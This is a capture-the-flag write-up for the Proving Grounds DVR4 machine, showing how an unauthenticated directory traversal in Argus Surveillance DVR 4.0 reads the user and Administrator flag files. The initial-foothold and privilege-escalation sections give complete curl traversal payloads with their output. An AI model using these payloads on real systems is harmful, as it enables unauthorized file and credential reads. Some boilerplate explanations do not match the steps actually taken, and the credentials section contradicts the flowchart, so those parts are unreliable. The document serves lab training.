Post

Proving Grounds - DVR4 (Windows)

Proving Grounds DVR4 Windows walkthrough covering Argus Surveillance DVR 4.0 directory traversal (CVE-2018-15745) for arbitrary file read.

Proving Grounds - DVR4 (Windows)

Overview

Field Value
OS Windows 10 / Server 2019 Build 19041 x64
Difficulty Easy
Attack Surface Web (Argus Surveillance DVR 4.0 on port 8080)
Primary Entry Vector Directory traversal via WEBACCOUNT.CGI (CVE-2018-15745 / EDB-45296)
Privilege Escalation Path Same directory traversal — direct file read of Administrator desktop

Credentials

No credentials obtained (attack was entirely unauthenticated file read).

Reconnaissance


💡 Why this works This stage maps the reachable attack surface and identifies where exploitation is most likely to succeed. Accurate service and content discovery reduces blind testing and drives targeted follow-up actions.

1
rustscan -a $ip -r 1-65535 --ulimit 5000
1
2
3
4
5
6
7
Open 192.168.198.179:22
Open 192.168.198.179:135
Open 192.168.198.179:139
Open 192.168.198.179:445
Open 192.168.198.179:5040
Open 192.168.198.179:7680
Open 192.168.198.179:8080
1
2
3
4
5
6
7
8
PORT      STATE SERVICE       VERSION
22/tcp    open  ssh           Bitvise WinSSHD 8.48
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?
8080/tcp  open  tcpwrapped
|_http-title: Argus Surveillance DVR
|_http-generator: Actual Drawing 6.0 (http://www.pysoft.com) [PYSOFTWARE]

Port 8080 was running Argus Surveillance DVR 4.0. A searchsploit query revealed known vulnerabilities:

1
searchsploit Argus Surveillance
1
2
3
4
Argus Surveillance DVR 4.0 - Unquoted Service Path                  | windows/local/50261.txt
Argus Surveillance DVR 4.0 - Weak Password Encryption               | windows/local/50130.py
Argus Surveillance DVR 4.0.0.0 - Directory Traversal                | windows_x86/webapps/45296.txt
Argus Surveillance DVR 4.0.0.0 - Privilege Escalation               | windows_x86/local/45312.c

Initial Foothold


At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

EDB-45296 describes a directory traversal in the WEBACCOUNT.CGI endpoint. The RESULTPAGE parameter accepts ..%2F sequences to read arbitrary files without authentication:

1
curl "http://$ip:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2Fviewer%2Fdesktop%2Flocal.txt&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="
1
21ddead5ecfec1f85bf0549079cc8477

💡 Why this works The initial access step chains discovered weaknesses into executable control over the target. Successful foothold techniques are validated by command execution or interactive shell callbacks.

Privilege Escalation


The same directory traversal vulnerability was used to read the Administrator’s proof flag directly — no shell access or privilege escalation was needed:

1
curl "http://$ip:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FUsers%2FAdministrator%2Fdesktop%2Fproof.txt&USEREDIRECT=1&WEBACCOUNTID=&WEBACCOUNTPASSWORD="
1
8f49db347a634e27b833d5d463fce4a9

Note: SSH login with viewer:viewer succeeded but the shell was unstable (terminated immediately). RDP (3389) and WinRM (5985) were not open. The machine was solvable entirely through directory traversal file reads.

💡 Why this works Privilege escalation relies on local misconfigurations, unsafe permissions, and trusted execution paths. Enumerating and abusing these trust boundaries is the fastest route to root-level access.

Lessons Learned / Key Takeaways

  • Argus Surveillance DVR 4.0 has an unauthenticated directory traversal in WEBACCOUNT.CGI — keep surveillance software patched.
  • Directory traversal can be enough to capture both user and root flags without needing a shell.
  • When shell access is unstable (SSH shell dies immediately), pivot to file-read vulnerabilities for flag retrieval.
  • Weak default credentials (viewer:viewer) indicate poor security posture even if the shell is non-functional.

Attack Flow


At this stage, the following command(s) are executed to progress the attack chain and validate the next hypothesis. We are specifically looking for actionable indicators such as open services, exploitability, credential exposure, or privilege boundaries. Key flags and parameters are preserved to keep the workflow reproducible for follow-along testing.

flowchart LR
    subgraph SCAN["🔍 スキャン"]
        direction TB
        S1["Rustscan + Nmap\n192.168.198.179\nOpen: 22,135,139,445,8080"]
        S2["8080/HTTP\nArgus Surveillance DVR 4.0\nPYSOFTWARE Generator"]
        S3["searchsploit\nEDB-45296: Directory Traversal\nEDB-50130: Weak Password Encryption"]
        S1 --> S2 --> S3
    end

    subgraph INITIAL["💥 初期侵入"]
        direction TB
        I1["EDB-45296\nWEBACCOUNT.CGI\nRESULTPAGE=..%2F..%2F (認証不要)"]
        I2["DVRParams.ini 読み取り\nviewer:viewer 認証情報取得"]
        I3["local.txt 取得\n/Users/viewer/Desktop/local.txt\ncurl パストラバーサル"]
        I1 --> I2 --> I3
    end

    subgraph PRIVESC["⬆️ 権限昇格"]
        direction TB
        P1["Directory Traversal継続\n管理者ファイル直接読み取り"]
        P2["proof.txt 取得\n/Users/Administrator/Desktop/proof.txt\ncurl パストラバーサル"]
        P3["備考: SSH viewer:viewer 認証成功\nただしシェル即死\nRDP/WinRM未開放"]
        P1 --> P2 --> P3
    end

    SCAN --> INITIAL --> PRIVESC

    style SCAN fill:#e8eaf6
    style INITIAL fill:#c8e6c9
    style PRIVESC fill:#ffccbc
    style I3 fill:#ff9800
    style P2 fill:#4caf50

References

  • EDB-45296 — Argus Surveillance DVR 4.0.0.0 Directory Traversal: https://www.exploit-db.com/exploits/45296
  • CVE-2018-15745: https://nvd.nist.gov/vuln/detail/CVE-2018-15745
  • RustScan: https://github.com/RustScan/RustScan
  • Nmap: https://nmap.org/
This post is licensed under CC BY 4.0 by the author.